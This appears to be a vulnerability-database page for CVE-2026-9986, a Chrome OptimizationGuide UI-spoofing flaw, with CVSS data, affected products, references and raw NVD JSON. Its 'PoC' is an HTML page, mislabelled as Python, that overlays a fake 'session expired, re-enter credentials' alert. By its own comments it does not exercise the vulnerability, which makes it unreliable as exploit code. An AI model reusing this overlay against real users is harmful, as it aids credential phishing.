CVE-2026-9986

Description

Insufficient validation of untrusted input in OptimizationGuide in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9986 (Google Chrome OptimizationGuide UI Spoofing)
Description: A crafted HTML page demonstrating the concept of UI spoofing.
Prerequisite: Attacker must have already compromised the renderer process.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9986 Concept PoC</title>
    <style>
        body { font-family: sans-serif; }
        .spoof-container {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(255, 255, 255, 0.95);
            z-index: 9999;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
        }
        .fake-dialog {
            border: 1px solid #ccc;
            padding: 20px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.1);
            text-align: center;
        }
    </style>
</head>
<body>
    <h1>Underlying Page Content</h1>
    <p>This page attempts to trigger UI spoofing via OptimizationGuide bypass.</p>

    <!-- Simulated payload structure that might be abused via the vulnerability -->
    <div id="payload-container" style="display:none;">
        { "optimization_guide_trigger": true, "target_ui": "overlay" }
    </div>

    <script>
        // In a real-world exploit scenario, the compromised renderer process
        // would invoke specific IPC messages targeting OptimizationGuide
        // to bypass validation and render this overlay in a privileged context.
        
        function triggerSpoof() {
            console.log("[+] Triggering crafted HTML payload...");
            
            const container = document.createElement('div');
            container.className = 'spoof-container';
            container.innerHTML = `
                <div class="fake-dialog">
                    <h2 style="color: red;">Security Alert</h2>
                    <p>Your session has expired. Please re-enter credentials.</p>
                    <button onclick="alert('This is a UI spoofing simulation.')">Reconnect</button>
                </div>
            `;
            document.body.appendChild(container);
        }

        // Execute simulation
        setTimeout(triggerSpoof, 1000);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9986
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9986
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9986/
[4] VulDB https://vuldb.com/cve/CVE-2026-9986
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513028160

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9986", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:56.840", "lastModified": "2026-05-29T20:27:43.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in OptimizationGuide in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to perform UI spoofing via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.216", "matchCriteriaId": "E59192D9-BF13-4B43-B69F-869A6BF83955"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.215", "matchCriteriaId": "875ACED4-0D6D-4BAA-8FAF-F13B5FEDF09A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/513028160", "source": "[email protected]", "tags": ["Permissions Required"]}]}}